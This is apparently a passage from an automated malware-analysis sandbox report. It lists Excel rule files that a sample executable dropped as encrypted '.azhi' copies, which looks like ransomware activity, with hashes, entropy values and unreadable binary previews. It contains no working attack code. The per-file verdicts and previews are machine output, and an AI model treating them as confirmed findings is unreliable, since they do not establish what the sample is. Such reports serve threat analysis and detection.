Preview:	<?xml....'hI.g.{...0......~...jC.\|{..I.m.R.s..$.GC..!\|."WgW0Xt..N..y..,QA.%....u....}....T.yd.LV.`...q.Z.9..........b.......;Ed.LqMq.p..7..g.I...V.=...- ..%]ZJ...:e.Z...3..W......'.f...'..Do\|.....n.:5j..."4......Lum....R.42z.........w<@.G...Z&.'.1H...,....).jnq..z-p..M....clN..BhZ..~...#G..\|...huIP..K....<...m....."...Q.,..V.u.N...h3!D&.n..s..1...y........o.?.Y$.7.>..8r.r..L...^...b....j......)ff...V.O..P}..5f..4..UZ..X.........9.fY..?.8G........@.M...;z.)..`s^...M.,I.....;.k.w.....].T^.G..,VO../...l&D$.C..=R.....\.\|)..4.F..R.o......bS.;....^.j.(?KfE......d......N.%7..,>.....")....B..%.#Y.ttO[.....u.&....d.:.U.>..G....H7J2h..Ia..n..r.SR..m..)q.E...90....iQh].;.Q...d.w4./....!..G...W...jm_o.2HE-.P....< ...E...)e..I.<9......f.Dd....@.."...C......a.F...2.!1.z.......b.LM0................Y..m.a...}..Y...&...A...E..+.......Q......4..]`.....H.H.v=#N...e.v...&5...=.>.H.L.U..........@.7.:L....[..e~ ..%.._...%`....'.'..-.Mz.e...<..0Ce..u.UQ.E.......W....@I.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.962707609862863
Encrypted:	false
SSDEEP:	96:uX+B5P7iBnQOS8lQFfn0wbBYTuz8NMutxEY+/wt7auZN2ZTqyr2NW5WjLh:X8BQOSzlVBLz8NZty49auZsTqp8Mh
MD5:	1DA3A930A3AA1083CFCC65ABCBE0D8E7
SHA1:	F14FB38E2D4EEEDCAFF2AE5844180E68E98B01BD
SHA-256:	B37155EB779718A54B8C89811EBC51022028131664F6F04B538B65D027DF8797
SHA-512:	3269803CC3B9F0CB4519DC6D9A36717051EC48E4785B2EE653A0D0242C309818E94129F92EFA86B5306DF4CF49C79A082EB11575FF1734EFD79A9B471E4FB387
Malicious:	false
Preview:	<?xml....b.!.A..fA....6m..`pPO^.....+6...W...^3.seI8.Ov..9".......sH. ...8&...I..{. o.;&@........g<+e&6ZA.(./.... .W..@..1..].(..W.:.@eQ.A#....E...B.=..MS.".Bo5......".....=..U.i.......+...:.....x~...ti.E. S...cxb./........ym........l.....-m.....vnI.....o...)IY.v..]...Zo5....X..Aq1...w...0....C...Y..1.L...fi.G.TvT.0...M!.D_..n.9b./.I..l....r...S.2~..r.g.3.).0......i?.d..&M.4.Y.s70...A.UrqQ.h<5..<.<..^L...UG.tB..O`...4...Uq....-....R....o%!]}.b.]p.1,h....fi.MY:.Oh.6...IB.........]l d.m$....w.......Bx.L.0h..V.......V..w.d.)..z..95].c..y,..oo...C....D.`.co.2[t....^.k..".f...(.8:/V.4k...r.....;.].@gy.5.....M..t....F..l.1..G.r...~.....q.....\..\(}.......(;..j....s..<..).c......>on...%...l.,Iq\|.}E$...G.$.;.ls..%.WK..C...x.R.<.U>)..`....X.[.[lz.....u .H.....n.u........G.....@.......j..j..\g`..Hl..W...Z...sD.L............9...=..I.O>!G...:...tFz9. D. .......n+....Le.....R},..3=b.Fn....v.(y.9]...%.......>......N.-..kU'F..S....R}.U.!< `..MG..\|..._. a...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938960036576929
Encrypted:	false
SSDEEP:	48:D2RVUZBZcl11Y6bVwJE5gXFYSPVymgt18z/7nou28QYjuvD:S0rZcl7bSJE5gXFnP0mgt18zcu28pw
MD5:	9CFC03A6DF948FD7F3A750CD692E6BB2
SHA1:	D1E25F327A49AFADC3801A13A8E4576252E02465
SHA-256:	374C12B3F30828CD7AE3FB139AA2D2AB3C9FD5DF2F111CEC3AB65C65FB50DC2A
SHA-512:	F805F10B87C32D8531CC4F7A2B821DA284258C3102FD32F4F539EB20EDA78AB0107B212299A680B4A96D2ADD0C61175FCF749CFB0D0EFCD24F3032198144D4BF
Malicious:	false
Preview:	<?xml3..X ....{/..O5g.......:..@8\|.Z..B.5=......k./9,..B...V....zs..-.f...;H.......9.y.v....~.wB....K7b.vk.c....O-..hB... &....`..0'....,...n.....:Aa...8S.k.NYD5Q......,.I..(.o3..o..b....m.......{.....[(.@I......&.g...d..2.D..^0.s$.L.w5.J..'...PM...Y...@.S..@.-...K2..,t...H.M.......Z.".#...ZT]...Yf<.-u.g.u..v=..9.d.B.....n...<...V....h.]W.^B.Np.y.t rQ...;..7...:...}....t]......n... dh..D...>$d....H.w..v...5..r+...7...m..s.\|...(...<...=.s.~RV.]....=.Fq.h{..G...s]...B..l.'......%.M.r.."`.Z..@.IX\.m...FB8p...R......x/.j...].z+......<a......\|.x.,..-.....Fb.Y...w..F....nnz.D..Jt.zg2.Q9.B2RY..N=.;..([. .V!S......W..._...OQ.F..x.'.....i2/!......b.......)..V.C........ {...i...'.?..sb..Q.N.l.(.n...N`V..~..r...uo....."....:..8%..Q..iL9O>..TQB1Z.....A.B..wz...fO...S....i.C..dD.J.qe4 .>P.0lts.M............v..~..^..8..a.oCn...,..).....D.....q.N....,f....=.C,\|.^u..g*k.....:.UM\|...Zs.psuNp....d=....E.....q._)....Zce.+u~bH.Q..Tn.k..,..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.707706185874468
Encrypted:	false
SSDEEP:	12:ovgJ0fvAgrMmIo1svj9ouzFRO5xUorFbCv5+VM1sU0xRBB7dIVUR4N7djEYcii9a:hJOFvqvjKqLMU0hUeKsR/ZIVUKFhRbD
MD5:	7B6124162E0488DE848E28BB950E916E
SHA1:	20F83A51493AAE458EC4EAD4CF64DA6B52162FB5
SHA-256:	0A89294A8330398C2114D4637A5F44AE2AAF6D2404F0092B602D1BD291281BB2
SHA-512:	F930586F08B11AD2F65FEC375CAA1752EA4ACFD02A6B669818D8B11A642745BD77CED3126DD6637AF8961B1C08424C84CD1903C82B18C088427B727752C29542
Malicious:	false
Preview:	<?xml...a5........{...?b`/..!.a6xv.!.G{..9....#3...-.f..G..<q...................r.;ee...).7hk_.Qs&........Ld.(k.z;........^.:...%.E..V+..D.....<.B......3.......J.I.8.y.9.ks0.d.Q.8.L%.W..`....k.@6.............uS.8..)o.,.cTa.3.K.7M.\....y..8W.b.l..=p#.{)..m.]...JL%....j."...1s...x.4....^..'..X.I.s..m..).i.(.......}...Q...0."iU0..0.?K...U..}.o..Y...~}..~B&3.u.\|f....LV..J.~.......G}^3~......}..V.........E..iO.&2.f.!..`...0.0.Ut@B.....(..f..>."+..v.W...7......k.bm@.).....l.?.....2..&..+.E.<.y..`.I.V...\|...H.......e..$E..0.r....X....(...{...1E.h.....w*b#}(....i.2....+.._.G8w.....y].\|JI.=2v<Dc\|u-..+w.D..{.-...%........}.....Q.0E.R.@on.....c....e.kR....0...l..F...\|. .5.-.N.l`...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941195564269962
Encrypted:	false
SSDEEP:	48:FsBCgaiQqPNmL3r/dzTCxL01zjCEDp36DRfmt7wCj0gNAG/pTPHxeBLh3J9AvX5a:FsBC5RqELb/1601zeEhCmttj05yReLlp
MD5:	91C32F08DB62AC0A5420B47183B94F0A
SHA1:	635E240B95F6123625C203F9542E70D99A9AFE7E
SHA-256:	F14884E5FC69EC55855589EF7F0FB4E9EB1ECBD9B29A4CAD7943E2BCF5497DA4
SHA-512:	7842EE64A51E96C1959B2D06902EA189B88440982F7332F634A6713DC0F9945ADF9FC80E536BE76E8643DC408F8E658375FCEE6915C3415CBFFA9AF84C5E6FC5
Malicious:	false
Preview:	<?xml~.bG.6..,V.........dpHW$... .d.....Z.............;..p.......(....%.0^...NL..<.=....VS.T)..U!M....lm!..$.Nr6.Z.h.X.......]3i.l2.481.....Q..mI..7.....%'.s...9...fF3[..%...T.s0..X.eq...C.(7.U....M..iE..r._...@.{.s..s.n7..2t.J..1..u.a..n....<D....g.;++.....^...F.B......J4]^.#..V.N.h........d.Y......c...;..\|.#..;c.... ..Y.Y..;A.Q..P.g.C..:........}?..].O........K.65G.?Q...M&.r\`...8..J....{n.....7m?: !.V....)c.i.+..U.....\...;.l;...".W...}.8@.jw...g..!.!v.D.A....nF....K...\|.V%$.#(.2$T.P...7\..`!..o.W{..O..R.....84..].Nk.mE.q.....&.....YE.1.,.3.?...n......^y..u...H...J..{.....H.)....KtsM.g..N..6.>^.O<....b......oP.........N...A.._...)zE...:jI.y...ve..g..A%..`... .\|.Q..9Ax....<c.......4.&.....q..R.q....!.Y....x... .<>.q.M..;b.#..y....._N.a.N.O._....p6..>JGf.aY.%.F.M..r.......Q.Yh.Fn..y...#y..L....x........}.....v..6u. ..A...%.l..j.9.;C......S.\.[vc_.H...o.K...G..}.Fbx...]..s$.RB~.-r;.hm..R.k`.!.`.(.>......e...m.(.....g..A,_R.!..-U.U.I..N.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.688367970878524
Encrypted:	false
SSDEEP:	24:vk2PfuL/8QjTmspOL1noGRqt2F/tsLo3QBDbD:JunvmspW2ftSNiXD
MD5:	2CF24E9F99FDBF1DF305512D1B6D53DD
SHA1:	FD2493BF1F42FD41C7680C1BE1EEE35912FAF9B8
SHA-256:	064535D3784F244903F231CC81EE29A92CEF5DA2126446D43E380DB5FE0A2773
SHA-512:	C938F647927FC28334B34B5969F512D9D6E2FF35A8D762245745B0A70FAA84AED4C4DD96634022D9D952688161C7AB97E877434F928E0E42A95B33AEDB419FEC
Malicious:	false
Preview:	<?xml.....z.u..X...L.....7..@^uu.OD6.M..sV..sp...\|e.XV9...V.._#..f.KV\|.r..zO.......(h.......I....D/..X../.I]HH...f..>......%".x.Z....@:...SV+^....}h...._.....x...,#.Jh$p....6QB..D.x=......^l.w.4.......x..c...ZBJ..ys..)9..@......T....&..`*==..?:.!.-.-...%..s0.....h..Nj^{......._.v..'"..c.7-...o..j5...?p...v.../r..K...xf.9nB...L..7'....Z~.{2.mh.L.......P...S.6.........A..Y\|4....CL.>$Ox2...>...-...o.m..9..c?/t..I\|u/Ej...xX..C+.0..o....s.V.9....=L.7_.pX.d..........m. ]6....c..?..4.[..&.x.;_...0n....`.-.L.dw.M-.9.u.....g.Fp..?...1.... \.;.c.IO.....j.w.1...6e.v4t.......H.w@....{UY().........B.....x..0..j4.v.......-.J.4.&...!.w..6..&Wu..p...vJ..t.1..$.......v.....SK..v..f...,......T..E.-I...}.[.X...2By.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930960158744469
Encrypted:	false
SSDEEP:	48:l7XuGnc3Ov1i6OXssq6m94C48LL55Z2DScFa/fvBLuFu7EcUWIVA4hezKStRyqi3:l7Xu93OvY/q6A4f852D0vBLuowAJzRta
MD5:	94863378CF2FA0FA0FFA8AD7438D3B68
SHA1:	1660A6A6BF3463B9C3F43813EC2AA85993E4517C
SHA-256:	B34CE5B2F473DBC4446D83992C8737728F07A2E143F0AECB3AF992E7456CD3D1
SHA-512:	173404CE2CDB9A46CE62FECCD6E399C3F61C29F1C3026C3F9A069816AAC60C5076BE6E5CDB62E0F0EEB765C974CB30B8CD8DFA9725527D2D6FB8E2FF11B281A8
Malicious:	false
Preview:	<?xml\..:...<69.....m....y..N.....\.X.....Gq..q#.....%L..A.\|U'X[.} 1i2U.'..l.:..o.!..O.......P...}5...t..NPZr..1'.....4..J.....g.Q@..q....~s..u.D...V}j{..f[.g...-7wi.. .&.?..B..;3.....i..[?.OU#.jM./.3L.>\^.6.g.M.n-..y.0Xv..1...Y.#.Y&.[.1.........q.....[.L.......YK..0..v......m.-.4.3u.`..8D.j.CNm..l..}..}..W.....W4....Z.xkh(...'.7.b^..V..9.K.L).k=...6..H..x..v..4..B...%.H..n......8....../1_..E.wLT.L...J.,.....,c...l.. ...k........7...D..l...P.g)1....d.2D.j..dmB.0)..I.-.l.Iz.......H.!..@.z'v..K...s.....U..wr8.........Pc./.....t.-.n.....q.g{.[,..t..R....m.w.WZ#....\../..:f..4h..;.......li....\.W.6:v`.r..4}.+.?0N....o...d..w..vk...g~.R78...!..X......0.....9..73Je..}.....Et..z....'i.U..M)..<..$...."....H......x.(..Hc(.v..Ta..-/.,.;0.......r.L.s..%;...1c}D}.Z.!....T.k........9W..6......V.......Wx.)mB.(..`..NS.._!....c.B.c.R..>G...+.N.....b&}....*v.$q.[....9oa)'.J..h%...)..8.(...;.",..F.+G..T......q.5.A..,..].........v..........g.0...@..e.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.79035158942192
Encrypted:	false
SSDEEP:	24:rBAAXCYIIASupc+UjQVuO14NyNv4QWyJFQO3K3yivbD:jCYq2fQVueSQWYM7D
MD5:	8A4BAB8ACA894AE826E0F56CCA1C95F1
SHA1:	DA45B5A2D503D6DB40F2C0BA1C1ADE096EC82F7D
SHA-256:	A3196A391139B1FC55766E97F9734144B76ED454F0F4C354232C1148BA437526
SHA-512:	1A3FEAAE5E50113E78267A5D6D6F90D99EB2CF611B30C99533DFC0C616D22D7DAEA8C287C431CD99AA130D5F7F875F17F477F23422BC230A46C66450768143D0
Malicious:	false
Preview:	<?xml;.7c.........<r..![..?...@i...Nfl.Cq..Z,..R.)...a.0...u4.O&...O.=yM.M....M0Y.&..?..\U...]).N/.:I....H...{....8lv.c.P...n..+...y%.`)...yT...>....6.c....ol..v.. .(.^.....uO.:2...L.A8p......Y.U.E...m.[-..].....R.,-.F.f.....W:..R.wak.qa....\z5L...!Z..lly.....J.DG.8...t.n.Q_..M..&4..oblf...W...bXL "...4]..dP.......RJ.B=#[.S..........\5Pm3.p...i..1....a9:/..........C.+f.<.Q..s......<..d..E.DE.Y.?;<GT(b.v.D.}}G..<H...\|..X.n.UPr,..w.)@.f...J7x..}vX.h.N=.n.$.GI.....[..Vp..A...nf.}......:;\..97.ipYrr>"..`:{..D..x.......y.(..B.r.jj....&.".qD...L...."..(S...I.&h{U..n.A9..1.#..6..>.u.. Is>.qD....(.5...X.......1.....~. .....m....k.j.?N..T]...)e.%~=0.D....5p{8t7_..v....At....6{.JG+]V#.......N.O..8a..=VL.........(...%....X....!.7.Y.'.Q.a?...m%,...~.@K..7.pkd.Ff.ioRY....O...V2..bB...-.`.Hn.....F.a....-OK..G.QJ.>....\9.3>^*.a...%j$...0.r...j..X.......m.;%.......D.....41....n..E..q..~.z`{Z.)..$.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.841543299709121
Encrypted:	false
SSDEEP:	24:JHZV7vdmPq5+rB/0IZY9w6wrHuyffCYOA5hskM+HC2mee27O7b8cHLEKSrAnKibD:JfvVE9VYu6QfftSjve97mrrPSMn9D
MD5:	86976556B3286DD050655699A89FDCB9
SHA1:	106BF4BCECEA94161C9213B344DC7995194BF46F
SHA-256:	0F0EC2F0F88116F3FCF657AA1AE037A04B97DAC9D5BF071A5B7580C858B88CFA
SHA-512:	3FD7FA94E9C8A227609A172E364BF102600D6C66E61078E7FE811A8F237D735F9F0C017187FB336867013BA885EDE641C0673794E493620DF28FB47260E5B726
Malicious:	false
Preview:	<?xmlsD".;.u2..c...9..w..!x@..b.}..e.Q..G.._jQ...F......w=.X.2fN..ddPb_...dW.I.]^.....]QE# ...@E.o........<J.....UQCk.$ L6>..OD.w...."..?a}.O.;Io........~.M...=...]........5%x.> :.Dw....W`.....Z:.i...b.}..R......bL...m..W..M...N..i.t..q.......f.P.#... ...).....U.T...IbN.....D/...+9..G.e..6........&fp.P.g6.b7.oE....#...1.abF........[.\.q...bai.2..`.t..8..k.....q....C..I.H.V.z.^......y...".?..fts.=Na...R.O..`.>...R.Gw\|..S.......i;..T..DIG.!..i......:..2".Z.79AsK(....H]...Xds....sFx.w..\|..G..;......I.~.N,&.%.c..>%h..7..?=D.....t`._..i..G.N..O..7=pwN..-).""5>..70._./a.V.r[=.b.....]...x+3P....M+c2....q...E.s....U.../3.V.!..8....3.-.{....<.g.p..............\..>..Up....\|t~c.o(.M..n.F.....\}....e.....-I.L..MUO...=[.\|..\|LdB^...H....=.VA..Ja..Q.6.+..Y....G.3......wm..\|.mM.FPd....F}-_. .....Z..D..Y.o.......?Z+.V7..Fd=ih.}e......3..M..4.......-J..N.b..hlj.....1".2.9.%.a.Ex.>..c+....5.. ."8]..]+..B...\|..hT@...9..[.{...~1.e..J..#.....=g....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7691716968472955
Encrypted:	false
SSDEEP:	24:XI6obF58UXdEtxqh2CnZYgPe5Y10VHFXWAZ8ddbD:XNYF5+xrCXYJ0AyfD
MD5:	D6288A45EFE6E6A4A82E094E801035AA
SHA1:	488531ACCADEBE96227BB1A7499DE06E8E9F4854
SHA-256:	8721E23AB5523595CF4E2EAED4149FC465FB5492FEB47577E78A64815DC2083B
SHA-512:	0834B1A579859A4BC3D1E1CDA6DEDB4C0A1BFD54F997B43D3F6923731312D5302A9CC20595F2D0448DD362746D73A36252ADB9C481FCAF6F026E50B26E260327
Malicious:	false
Preview:	<?xml^< ....T.d...q.f.......P[......<.)..b'.G].-....A.@-lG....B.ge...z..L^.......?.u.6...5Z&...Q=.....9........roj....FN?.'sj"r..$..M0.....e...u.X<.....Pm.o>.2...M..N.-.}..L.k.y.L..g..?.._..d%4..dP..W..........KcH...i..a.E.(..w..djM..J.(E0..].%&UqU.......%.aO...R.bDp..<R.2+.\|.=9Y....@.M...S.#..a}=.M.......m.N\|......f)7I.Y.....\E........\|...+1.E.$..z.b..dM.zc.q.f7.$.Z..N/........k0.6.......n.#..mWll0...!.1..Tq.Sd.A....k....KoB...]=..L.....Ay....g.._..._.q......T..]...o......Rk...@.....t.:."..T.../n......Q.....g......ocC.Hy.r.2@.$..\.`..m.C0o.j..I4Z.-#.`..!.+h..+0.c.-.p.k..c~..... ._0..).VO..{.b;..=.I.G3..NE4..<...9.:16:..8.^.6w5...2FZxx;t.R.Q.y\|..t..9....N3..x/.tu.y..6..b.}0...1...-p...Jl6...........\|...*..E..w\.....)..\|f.NZ..."K.._..K..j......H-%D$g...B.Q..+.w6Z^z..g...;,...X.4...I..fx(...1<..g:R..o.Ogr.G1..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.754153845559299
Encrypted:	false
SSDEEP:	24:S+vEHi0T/P0Whnpp6t/Eq4ho8lsFexMqSbD:S+8HZTH0cpp6NEfxED
MD5:	1659813BA3068CD4D95F8BDBF19FC0A6
SHA1:	35071C4E4501067BE5042E06AD6F74747380C92D
SHA-256:	BB7943CF0A8A0BFBC58DA2C4B1463DE1349252D950670AE6E96CBDDB6686BDAA
SHA-512:	C5F0FCD51C55A5219D8408ABAB17E2560973311AC79F3857D8217265CAF33857919D61C1808C626AC1CE4B718BE55C0C13638B840CABAC70C18DB03ED9B59180
Malicious:	false
Preview:	<?xml.....~A#Y.d..5..h.%eq?.M.3...g............B.Z.f.[y..u/1.n...R.[..j...Z...FLt./.$.v.....6..DJ....9..D..N.F....o>q..d......[..#.k._......\a...t....\|..j'.;..zh.c..L\...G..5...B..T.].?...xv.`........w../t.&...e.......d..j.cL.R.....6......Q......<.D.6.!] .5z..JS9......8..u.O....i.QiH..r.M$c..H..oCC.....OF..."o...`./..h.rp0...o.......(....%D.6..w.%..T\|k2....@......L.4.P...&.4D.E....'T.....S.......v!......."L...-...`.<..j%4..W.f..$....u.>.m.......68.O.S.x`O.....i..6l....S....7.S%......;.!h.No.^_....h.6...'..w.$..]..-.i....ob.y..\|.o......k.:...O...a...nF8.z....S...-.l,2..Y.\..>..h..U."...$.l.W.'...f.....t:._.m...K..1...8........SO..N.........d4.6...i.6z.g...~C.'{}!.h..../...#.1.k..xO@hK.j.n..X...R.x.bm...8.Wu...mxj.."C...dte..X$...;..D..S......{...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.786176516764498
Encrypted:	false
SSDEEP:	24:Ila1kA8TaoxuHo5StY+xlvdw0Af9st9+uXKA4TI429bD:Qy6aoxuI5StYUlvKZotd4Tz29D
MD5:	3BD0E4A91D38DC6433E2FAAC3ECACE1D
SHA1:	815AE11FB37B624B35AB096EF4E4CFFAA8838E2E
SHA-256:	223B17A2B22AA7E0A42FF300C4B73C9ABD51E8C10074B002A90E7FE865DC572A
SHA-512:	2F5C59608C29706BBE5099B3BAFA64B1745816F6EF770DB3F064A2ED616B3472DB2C0F054EFB7DF995A0FB8C0B5E4C6140E084CED4C6EB1400D38002563E4A1E
Malicious:	false
Preview:	<?xml.....%.+...w..:...w=+.).Z.Z.b....}.<9.&./o..Ci..V...&%...%..U.0.....&LW..c...p...-.AP...7n).&.....x.s..0..u..ur<...L.....`Ea^f...z..7i.....Pc...m.(...;..i........,bwa.[a...YU.._....b!.w.l.u(.#...p.".78R....7+..(yC![...ym._$..../.H.........Ww.}.Y>...Qn.E..mx.z.=Bz..MQ.\|.............)...q.;...Ub0..O....(.b........6.Bq...c'b.....a..h..b.7&.o..S.8....B.=.....P6.....f..x..V...$x...a\.PD.@(..!..`.~...P...OT..=..RJ.J.H.....^..t..y:YY,...&.....e.,'...O.s.....(P...(..eQ%?....c.<(.=5.^..........F.y.Kf/..P...m;.?.qo.....^ ....6...cDk.w^+Wz.+.{.1.......!i..Ye...(6)..9%Y7..._...]zv..]...-h.u.e($.~.>.{r!..J.%.m.J..1"....3...w.....^."..a....l.,mK.L....B..D..t...t...........#...7.....-..f...1...B..P!\|/......,.,8o#..0W..u.....\.cP...yg.p....~[.K^9..H5..-<$...7uoW$n.)..0b.eN....S...#A...I.....K.JK(....m.x.....n....b%.i#.[.G..y.$.9.E....F.Xk/....j./W.O.-bX...Pb.x...?..r.@..+...0O...<.$...&J..,...x...EGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.740707883693086
Encrypted:	false
SSDEEP:	24:8ZpWg9q9Tb5vu5OsIyWtePB2PuAQcCiXFbD:Pm56FePiTXVD
MD5:	8941EDF13C984A6FFEEC2263DC8FF427
SHA1:	11442C3769129CE39AEEB58FE0750C7E4C8753FB
SHA-256:	9BA4FEA6E78EA65F471C24BCB98829B38D855E5FD65A61C4AA6A2214E6DA0ECB
SHA-512:	A92453E159A5BC1B200FD1216ECFA8BC6B2EC963BFD01C9742A06F9333A814A3A3A2CD92D228C5F06A68F6B3CC7AF0C9C28BC1B52AFCFC4C55BD42D46AA9FF9F
Malicious:	false
Preview:	<?xml.h.......?....O.).Y..T&......E.3Xe. ..5.."#..............zT.(\|.....,.4..>..&..2$.=@p...tu.D,Hc..Qx...-.a......l0'(.&K........T...sc0i.....76...f].>....Ju3..c..;..."3E9..-0,...U.).).(..E-E'z..h.+^2(.t...~.a..1..6....:.i.~P........5z..1.Q/l..B.4.F.l3.>..1.].j.=..i}.h,........=....3.>!~..-b7.u..4...?I...#...3.]q...Lr.G". !.....:.A2..V...hB..6=4...../..m...b:.b6..N.....{..9Tn.........qT......v.j.vH.6.a.....m...V..hU....m,uh.......K.eLk\..:..G.m#.....G.ky.9..0.!.I.W.:..J...=...,.._&.......h0.._..\|...'..T...O._.Z...&........\.@.......q.~...!.4..M....K...Ye3J../.C.+.#.Lg..~Cn.F...,..7..SI......s.!.o...D.,9S.@.E1..y&=J2..i..:%V.:. &....eq.`.=.......P...]...n..[w...A$.~..D..L..kiF.W.@....X.s..\.c?..\.a..!z.%...{...4..\...n.j......F..d....k.Z\...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.981570481767306
Encrypted:	false
SSDEEP:	192:zbuFBkvQ78756O+ZuEdHgywuuJ2T/KS+MEnuowzXA+lCth2kqv1q:zuBYTEM++MZowVlCtsH1q
MD5:	F551D3D02EE68FDA1CB4D2B66613FA7C
SHA1:	DB2F5AD51786EC9B1C793BD27625A87D566C7998
SHA-256:	4467E1E6BC851EA499D4DE706198D9F59224160C178C972F20F87AD3FD3D4C79
SHA-512:	508112255178349A4E6AC1B444863565D680BFF5AD6B68FE2F735BCB401778767831A870D62F9BEA8D56EAC1993E582921459DF30334F0E84FE0108CE605A962
Malicious:	false
Preview:	<?xml,..x)...K..f.t....~..v..TV....q7.X..O..n....d.N..D......[..7...v5..V._@..........z....$...`L.p...I^.y.u.........o..b..n..f.P.w.4....).}7.#>G..@L(8>....Z...C....WS.{....a.2n...P....."....L>.iE.9_....S..C....z..V.P..wn...s.q;......Z..n;....K.."h6..fb.5.o.CO......=.n.i.{.)b..P.?.{.1...H.W..&7?....I..W......t=....-..~.UJ..1.5..t.?..':\....,Wz&.`..i/.O'...+zGJ\x.............h-..+...........h.M...@0".#.b...9i....D...Z.....3..n.AW..O...}.,R;8....-..9b....y.k....b.E.!.K.j.LsTD..... .....\|..a..;.q6...........!....v1.....?/..9Y..j.5kF....4......q...*.X.b..KF.. _if...n-Lcf..@...2.%.G.%..=.}.....z.5.w.y.v..h.9:...e..`d.I...J...).9...YG'.wPN.LP....C...E..:\.V2..jJl......jk.g..E...I.)4.2....v..`I.2...!g).'.\|;...'...\.....H.v$D..^.....9..........c..=..O.\_.d...A.,R?8....s. ..$6`...).....B...9~...~...P.c....0{n..z.....%".r....3J.lxY.:..............8...!L.........dd.d<N..w.aB..]...@..........AR.....6..."....}...WpP@m....1T...(..E...,.o....b..f...i.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.826246391073672
Encrypted:	false
SSDEEP:	24:TR27F0w+Zee7Y/C11okuLHAQCqn3ibAk3o1uEgbRXQDRwhkjmvy/k9bD:ddZemiwokbs3ibQ1uLRgDqujmKgD
MD5:	568CA7552BD732D6A6BA08D7A5AB7FBF
SHA1:	D4B2C3BF8FEB8E83574537CD701637C98DD97083
SHA-256:	3CAD130CF3420D7FA3F04A08B6F35E685A37548EB8E3C2D46A2540E358414132
SHA-512:	AB9ABD0CD50D5F702593EC807D74168751190A6685DE291D6CC8086F92C45FA84DF299DD059E2E95B280C9DFDC5EC92E20934757039713117658499FC35E9AB2
Malicious:	false
